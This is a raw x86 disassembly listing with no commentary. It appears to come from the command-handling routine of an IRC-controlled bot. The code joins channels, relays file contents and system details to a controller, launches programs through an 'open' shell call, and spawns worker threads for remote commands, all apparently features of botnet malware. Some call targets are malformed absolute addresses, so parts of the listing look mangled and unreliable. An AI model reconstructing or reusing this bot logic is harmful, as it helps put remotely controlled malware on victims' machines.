		jz	short loc_412D44
		push	10h
		push	ebx
		push	eax
		call	sub_418A3B
		add	esp, 0Ch
		mov	[ebp+var_570], eax
		jmp	short loc_412D4A
; ---------------------------------------------------------------------------

loc_412D44:				; CODE XREF: sub_40EE72+3EBCj
		mov	[ebp+var_570], ebx

loc_412D4A:				; CODE XREF: sub_40EE72+3ED0j
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		jz	short loc_412D64
		push	esi
		call	sub_41781F
		pop	ecx
		mov	[ebp+var_574], eax
		jmp	short loc_412D6A
; ---------------------------------------------------------------------------

loc_412D64:				; CODE XREF: sub_40EE72+3EE1j
		mov	[ebp+var_574], ebx

loc_412D6A:				; CODE XREF: sub_40EE72+3EF0j
		movzx	eax, [ebp+var_9C3]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_800]
		mov	[ebp+var_804], esi
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_564], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_568], eax
		push	edi
		lea	eax, [ebp+var_2DC]
		push	offset unk_430FF8
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_2DC]
		push	17h
		push	eax
		call	sub_416D5C
		add	esp, 18h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_804]
		push	ebx
		push	eax
		push	offset sub_40CAF1
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA6h
		mov	ecx, [ebp+var_580]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_412E18

loc_412E02:				; CODE XREF: sub_40EE72+3FA4j
		cmp	[ebp+var_560], ebx
		jnz	loc_413A62
		push	32h
		call	near ptr 2610F41h
		nop
		jmp	short loc_412E02
; ---------------------------------------------------------------------------

loc_412E18:				; CODE XREF: sub_40EE72+3F8Ej
		nop
		call	near ptr 265031Fh
		push	eax
		push	offset unk_430FAC
		jmp	loc_411888
; ---------------------------------------------------------------------------

loc_412E29:				; CODE XREF: sub_40EE72+3E4Ej
		push	offset unk_430F58
		jmp	loc_413A54
; ---------------------------------------------------------------------------

loc_412E33:				; CODE XREF: sub_40EE72+251Bj
					; sub_40EE72+2532j
		push	[ebp+var_90]
		push	offset dword_432D78
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F239
		cmp	[ebp+var_C], ebx
		jz	loc_40F239
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_430F48
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2DC]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_418C10
		push	edi
		call	sub_41781F
		add	esp, 28h
		test	eax, eax
		jle	short loc_412EBC
		push	edi
		call	sub_41781F
		imul	eax, 3E8h
		pop	ecx
		push	eax
		nop
		call	near ptr 2610F41h

loc_412EBC:				; CODE XREF: sub_40EE72+4034j
		push	offset dword_430F24
		call	sub_40BF6D
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_40F23C
; ---------------------------------------------------------------------------

loc_412ED0:				; CODE XREF: sub_40EE72+24EDj
					; sub_40EE72+2504j
		push	[ebp+var_90]
		push	offset dword_432D78
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F239
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		mov	eax, [ebp+arg_18]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax
		call	sub_4176D0
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_412F8F
		push	[ebp+var_8C]
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_430F48
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2DC]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_418C10

loc_412F4E:				; DATA XREF: ___:off_42DE40o
		add	esp, 24h
		lea	eax, [ebp+var_2DC]
		push	esi
		push	offset dword_430EF4
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		push	edi
		call	sub_41781F
		add	esp, 14h
		test	eax, eax
		jle	loc_414F47
		push	edi
		call	sub_41781F
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_40F23C
; ---------------------------------------------------------------------------

loc_412F8F:				; CODE XREF: sub_40EE72+40A3j
		push	offset dword_430EB0
		jmp	loc_411888
; ---------------------------------------------------------------------------

loc_412F99:				; CODE XREF: sub_40EE72+24BFj
					; sub_40EE72+24D6j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2DC]
		push	offset dword_430EA8
		push	eax
		call	sub_4172B0
		push	edi
		call	sub_41781F
		add	esp, 10h

loc_412FB6:				; CODE XREF: sub_40EE72+41AEj
		test	eax, eax
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 400h
		pop	ecx
		jge	loc_414F47

loc_412FD0:				; CODE XREF: sub_40EE72+4CBBj
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset dword_428598
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4407FC[eax]
		call	sub_40D633

loc_412FF4:				; CODE XREF: sub_40EE72+4469j
					; sub_40EE72+5D44j
		add	esp, 0Ch
		jmp	loc_414F47
; ---------------------------------------------------------------------------

loc_412FFC:				; CODE XREF: sub_40EE72+2491j
					; sub_40EE72+24A8j
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2DC]
		push	[ebp+arg_18]
		push	offset dword_430E9C
		push	eax
		call	sub_4172B0
		push	edi
		call	sub_41781F
		add	esp, 14h
		jmp	short loc_412FB6
; ---------------------------------------------------------------------------

loc_413022:				; CODE XREF: sub_40EE72+2463j
					; sub_40EE72+247Aj
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2DC]
		push	offset dword_430E94
		push	eax
		call	sub_4172B0
		push	edi
		call	sub_41781F
		add	esp, 10h
		test	eax, eax
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 400h
		pop	ecx
		jge	loc_414F47
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset dword_428598
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4407FC[eax]
		call	sub_40D633
		add	esp, 0Ch
		push	[ebp+arg_18]
		push	edi
		push	offset dword_430E68
		jmp	loc_4132D6
; ---------------------------------------------------------------------------

loc_41308E:				; CODE XREF: sub_40EE72+2435j
					; sub_40EE72+244Cj
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4130BF
		push	esi
		lea	eax, [ebp+var_2DC]
		push	offset dword_430E60
		push	eax
		call	sub_4172B0
		add	esp, 0Ch

loc_4130BF:				; CODE XREF: sub_40EE72+4236j
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 400h
		pop	ecx
		jge	loc_414F47
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset dword_428598
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4407FC[eax]
		call	sub_40D633
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_430E34
		jmp	loc_4132D6
; ---------------------------------------------------------------------------

loc_413113:				; CODE XREF: sub_40EE72+2407j
					; sub_40EE72+241Ej
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414F47
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 400h
		pop	ecx
		jge	loc_414F47
		push	esi
		push	offset dword_428598
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4407FC[eax]
		call	sub_40D633
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_430E08
		jmp	loc_4132D6
; ---------------------------------------------------------------------------

loc_413181:				; CODE XREF: sub_40EE72+23D9j
					; sub_40EE72+23F0j
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	edi
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414F47
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	esi
		push	offset dword_430DD0
		jmp	loc_414F40
; ---------------------------------------------------------------------------

loc_4131BB:				; CODE XREF: sub_40EE72+23ABj
					; sub_40EE72+23C2j
		push	[ebp+var_90]
		push	offset dword_432D78
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F239
		push	[ebp+arg_18]
		push	offset dword_430DC4
		push	[ebp+arg_4]
		call	sub_40D633
		push	edi
		call	sub_41781F
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		nop
		call	near ptr 2610F41h
		push	[ebp+esi+var_88]
		push	[ebp+arg_18]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		push	offset dword_430DA0
		call	sub_40BF6D
		add	esp, 14h
		jmp	loc_414F47
; ---------------------------------------------------------------------------

loc_413224:				; CODE XREF: sub_40EE72+237Dj
					; sub_40EE72+2394j
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	edi
		call	sub_417AB0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_417AB0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417880
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_414F47
		push	esi
		lea	eax, [ebp+var_2DC]
		push	offset dword_4315BC
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 20h
		push	esi
		push	edi
		push	offset dword_430D74
		jmp	short loc_4132D6
; ---------------------------------------------------------------------------

loc_41328A:				; CODE XREF: sub_40EE72+234Fj
					; sub_40EE72+2366j
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	edi
		call	sub_417AB0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_417AB0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417880
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_414F47
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		push	esi
		push	edi
		push	offset dword_430D48

loc_4132D6:				; CODE XREF: sub_40EE72+4217j
					; sub_40EE72+429Cj ...
		call	sub_40BFE1
		jmp	loc_412FF4
; ---------------------------------------------------------------------------

loc_4132E0:				; CODE XREF: sub_40EE72+2321j
					; sub_40EE72+2338j
		cmp	[ebp+var_C], ebx
		jz	loc_40F239
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40F239
		push	eax
		push	edi
		call	sub_40BE75
		pop	ecx
		pop	ecx
		push	edi
		push	offset dword_430D1C
		jmp	loc_413BFD
; ---------------------------------------------------------------------------

loc_413312:				; CODE XREF: sub_40EE72+22E1j
					; sub_40EE72+22F8j
		push	edi
		push	[ebp+arg_1C]
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414F47
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	loc_4133B6
		push	esi
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_41339E
		push	esi
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_430F48
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2DC]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_418C10
		add	esp, 24h
		lea	eax, [ebp+var_2DC]
		push	esi
		push	edi
		push	offset dword_430CE8
		push	eax
		call	sub_4172B0
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_414AC3
; ---------------------------------------------------------------------------

loc_41339E:				; CODE XREF: sub_40EE72+44D1j
		lea	eax, [ebp+var_2DC]
		push	offset dword_430CA8
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	loc_414AC3
; ---------------------------------------------------------------------------

loc_4133B6:				; CODE XREF: sub_40EE72+44BCj
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_40BB8C
		add	esp, 0Ch
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset dword_430C80
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		jmp	loc_414AC3
; ---------------------------------------------------------------------------

loc_413400:				; CODE XREF: sub_40EE72+22B3j
					; sub_40EE72+22CAj
		push	offset aScreen	; "screen"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413463
		cmp	[ebp+esi+var_8C], ebx
		jz	short loc_413450
		push	[ebp+esi+var_8C]
		call	sub_4085B3
		cmp	eax, 1
		pop	ecx
		jnz	short loc_413449
		push	[ebp+esi+var_8C]
		lea	eax, [ebp+var_2DC]
		push	offset dword_430C3C
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	short loc_413463
; ---------------------------------------------------------------------------

loc_413449:				; CODE XREF: sub_40EE72+45B8j
		push	offset dword_430C00
		jmp	short loc_413455
; ---------------------------------------------------------------------------

loc_413450:				; CODE XREF: sub_40EE72+45A6j
		push	offset dword_430BB8

loc_413455:				; CODE XREF: sub_40EE72+45DCj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_413463:				; CODE XREF: sub_40EE72+459Dj
					; sub_40EE72+45D5j
		push	offset aDrivers	; "drivers"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4134FA
		mov	[ebp+arg_0], ebx

loc_41347B:				; CODE XREF: sub_40EE72+4673j
		lea	eax, [ebp+var_75C]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_3F8]
		push	0FFh
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADC8
		test	eax, eax
		jz	short loc_4134DE
		lea	eax, [ebp+var_75C]
		push	eax
		lea	eax, [ebp+var_3F8]
		push	eax
		lea	eax, [ebp+var_15B0]
		push	[ebp+arg_0]
		push	offset dword_430B7C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_15B0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 28h

loc_4134DE:				; CODE XREF: sub_40EE72+462Cj
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 0Ah
		jl	short loc_41347B
		lea	eax, [ebp+var_2DC]
		push	offset dword_430B48
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_4134FA:				; CODE XREF: sub_40EE72+4600j
		push	offset aFrame	; "frame"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4135A0
		cmp	[ebp+esi+var_8C], ebx
		jz	short loc_41358D
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_41358D
		cmp	[ebp+esi+var_84], ebx
		jz	short loc_41358D
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		jz	short loc_41358D
		push	eax
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+esi+var_8C]
		call	sub_4087EE
		add	esp, 10h
		test	eax, eax
		jnz	short loc_413586
		push	[ebp+esi+var_8C]
		lea	eax, [ebp+var_2DC]
		push	offset dword_430B04
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	short loc_4135A0
; ---------------------------------------------------------------------------

loc_413586:				; CODE XREF: sub_40EE72+46F5j
		push	offset dword_430AC0
		jmp	short loc_413592
; ---------------------------------------------------------------------------

loc_41358D:				; CODE XREF: sub_40EE72+46A4j
					; sub_40EE72+46ADj ...
		push	offset dword_430A78

loc_413592:				; CODE XREF: sub_40EE72+4719j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_4135A0:				; CODE XREF: sub_40EE72+4697j
					; sub_40EE72+4712j
		push	offset aVideo	; "video"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_413A62
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_413639
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_413639
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	short loc_413639
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_413639
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_413639
		push	esi
		call	sub_41781F
		pop	ecx
		push	eax
		push	edi
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+arg_18]
		call	sub_4089E7
		add	esp, 14h
		test	eax, eax
		jnz	short loc_41362F
		push	[ebp+arg_18]
		push	offset dword_430A34
		jmp	loc_411888
; ---------------------------------------------------------------------------

loc_41362F:				; CODE XREF: sub_40EE72+47AEj
		push	offset dword_4309E4
		jmp	loc_413A54
; ---------------------------------------------------------------------------

loc_413639:				; CODE XREF: sub_40EE72+474Fj
					; sub_40EE72+475Dj ...
		push	offset dword_430998
		jmp	loc_413A54
; ---------------------------------------------------------------------------

loc_413643:				; CODE XREF: sub_40EE72+1CF0j
					; sub_40EE72+1D07j
		push	offset aR	; "r"
		push	edi
		call	sub_4179A8
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4136BE
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		call	sub_41900C
		add	esp, 0Ch

loc_41366C:				; CODE XREF: sub_40EE72+4829j
		test	eax, eax
		jz	short loc_41369D
		push	1
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		push	esi
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		call	sub_41900C
		add	esp, 20h
		jmp	short loc_41366C
; ---------------------------------------------------------------------------

loc_41369D:				; CODE XREF: sub_40EE72+47FCj
		push	esi
		call	sub_417900
		pop	ecx
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset dword_430964
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	loc_4110FD
; ---------------------------------------------------------------------------

loc_4136BE:				; CODE XREF: sub_40EE72+47E2j
		push	edi
		push	offset dword_430934
		jmp	loc_4110B1
; ---------------------------------------------------------------------------

loc_4136C9:				; CODE XREF: sub_40EE72+1CC2j
					; sub_40EE72+1CD9j
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	edi
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414F47
		push	offset asc_42A660 ; "\n"
		push	esi
		call	sub_4179D0
		push	esi
		call	sub_40B358
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_413709
		push	offset dword_4308F8
		jmp	loc_413A54
; ---------------------------------------------------------------------------

loc_413709:				; CODE XREF: sub_40EE72+488Bj
		push	esi
		push	offset dword_4308D0
		jmp	loc_414AB4
; ---------------------------------------------------------------------------

loc_413714:				; CODE XREF: sub_40EE72+1C94j
					; sub_40EE72+1CABj
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	edi
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_414F47
		push	eax
		call	sub_40AAFA
		test	eax, eax
		pop	ecx
		jnz	short loc_413745
		push	offset unk_4308A4
		jmp	loc_413A54
; ---------------------------------------------------------------------------

loc_413745:				; CODE XREF: sub_40EE72+48C7j
		push	offset dword_430878
		jmp	loc_413A54
; ---------------------------------------------------------------------------

loc_41374F:				; CODE XREF: sub_40EE72+1C66j
					; sub_40EE72+1C7Dj
		push	7Fh
		lea	eax, [ebp+var_6EC]
		push	edi
		push	eax
		call	sub_418C10
		mov	esi, [ebp+esi+var_8C]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_41377E
		push	7Fh
		lea	eax, [ebp+var_66C]
		push	esi
		push	eax
		call	sub_418C10
		add	esp, 0Ch

loc_41377E:				; CODE XREF: sub_40EE72+48F8j
		push	7Fh
		lea	eax, [ebp+var_5EC]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_6F0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_564], eax
		push	edi
		lea	eax, [ebp+var_2DC]
		push	offset dword_430850
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	15h
		push	eax
		call	sub_416D5C
		add	esp, 18h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6F0]
		push	ebx
		push	eax
		push	offset sub_40BC4B
		push	ebx
		push	ebx
		call	near ptr 2680AA6h
		nop
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_41381F

loc_413809:				; CODE XREF: sub_40EE72+49ABj
		cmp	[ebp+var_560], ebx
		jnz	loc_414AC3
		push	32h
		call	near ptr 2610F41h
		nop
		jmp	short loc_413809
; ---------------------------------------------------------------------------

loc_41381F:				; CODE XREF: sub_40EE72+4995j
		nop
		call	near ptr 265031Fh
		push	eax
		push	offset unk_430804
		jmp	loc_414AB4
; ---------------------------------------------------------------------------

loc_413830:				; CODE XREF: sub_40EE72+1C38j
					; sub_40EE72+1C4Fj
		push	ebx
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	edi
		call	sub_406387
		add	esp, 10h
		push	edi
		push	offset dword_4307E0
		jmp	loc_414F40
; ---------------------------------------------------------------------------

loc_41384E:				; CODE XREF: sub_40EE72+1C0Aj
					; sub_40EE72+1C21j
		push	14h
		lea	eax, [ebp+var_708]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_6F4]
		push	edi
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4172B0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_710], eax
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_5F0]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_5F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_4307AC
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	12h
		push	eax
		call	sub_416D5C
		add	esp, 1Ch
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_710]
		push	ebx
		push	eax
		push	offset sub_40C512
		push	ebx
		push	ebx
		call	near ptr 2680AA6h
		nop
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_413927

loc_413911:				; CODE XREF: sub_40EE72+4AB3j
		cmp	[ebp+var_560], ebx
		jnz	loc_414E11
		push	32h
		call	near ptr 2610F41h
		nop
		jmp	short loc_413911
; ---------------------------------------------------------------------------

loc_413927:				; CODE XREF: sub_40EE72+4A9Dj
		call	near ptr 265031Fh
		nop
		push	eax
		push	offset dword_432C80
		jmp	loc_414E02
; ---------------------------------------------------------------------------

loc_413938:				; CODE XREF: sub_40EE72+1BDCj
					; sub_40EE72+1BF3j
		push	edi
		nop
		call	near ptr 27C0BE7h
		test	eax, eax
		jz	short loc_413962
		push	edi
		push	offset dword_430780
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		jmp	loc_4110DC
; ---------------------------------------------------------------------------

loc_413962:				; CODE XREF: sub_40EE72+4ACFj
		push	offset dword_431128
		call	sub_40AA35
		pop	ecx
		push	eax
		jmp	loc_414564
; ---------------------------------------------------------------------------

loc_413973:				; CODE XREF: sub_40EE72+1BAEj
					; sub_40EE72+1BC5j
		push	edi
		call	sub_41781F
		push	eax
		call	sub_415419
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_413990
		push	offset unk_430748
		jmp	short loc_413995
; ---------------------------------------------------------------------------

loc_413990:				; CODE XREF: sub_40EE72+4B15j
		push	offset unk_430704

loc_413995:				; CODE XREF: sub_40EE72+4B1Cj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_411100
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		jmp	loc_411100
; ---------------------------------------------------------------------------

loc_4139CE:				; CODE XREF: sub_40EE72+1B80j
					; sub_40EE72+1B97j
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_41518A
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_4139F0
		push	offset unk_4306D0
		jmp	loc_4110B1
; ---------------------------------------------------------------------------

loc_4139F0:				; CODE XREF: sub_40EE72+4B72j
		push	offset unk_430690
		jmp	loc_4110B1
; ---------------------------------------------------------------------------

loc_4139FA:				; CODE XREF: sub_40EE72+1B52j
					; sub_40EE72+1B69j
		push	edi
		call	dword_43ADD8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_413A34
		push	2
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		call	dword_43AD50
		cmp	eax, ebx
		jz	short loc_413A4F
		push	dword ptr [eax]

loc_413A1D:				; CODE XREF: sub_40EE72+4BDBj
		push	edi
		lea	eax, [ebp+var_2DC]
		push	offset dword_430664
		push	eax
		call	sub_4172B0
		add	esp, 10h
		jmp	short loc_413A62
; ---------------------------------------------------------------------------

loc_413A34:				; CODE XREF: sub_40EE72+4B95j
		push	edi
		call	dword_43AE1C
		cmp	eax, ebx
		jz	short loc_413A4F
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_43AE24
		push	eax
		jmp	short loc_413A1D
; ---------------------------------------------------------------------------

loc_413A4F:				; CODE XREF: sub_40EE72+4BA7j
					; sub_40EE72+4BCBj
		push	offset dword_43062C

loc_413A54:				; CODE XREF: sub_40EE72+3E2Dj
					; sub_40EE72+3FBCj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_413A62:				; CODE XREF: sub_40EE72+2A25j
					; sub_40EE72+3B35j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_414AC3
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		jmp	loc_414AC3
; ---------------------------------------------------------------------------

loc_413A8C:				; CODE XREF: sub_40EE72+1B24j
					; sub_40EE72+1B3Bj
		push	7Fh
		push	edi
		push	[ebp+arg_14]
		call	sub_418C10
		add	esp, 0Ch
		push	edi
		push	offset dword_4305F8
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_413AA5:				; CODE XREF: sub_40EE72+1AF6j
					; sub_40EE72+1B0Dj
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	dword_43AD0C
		test	eax, eax
		push	edi
		jz	short loc_413AC5
		push	offset unk_4305BC
		jmp	loc_4110B1
; ---------------------------------------------------------------------------

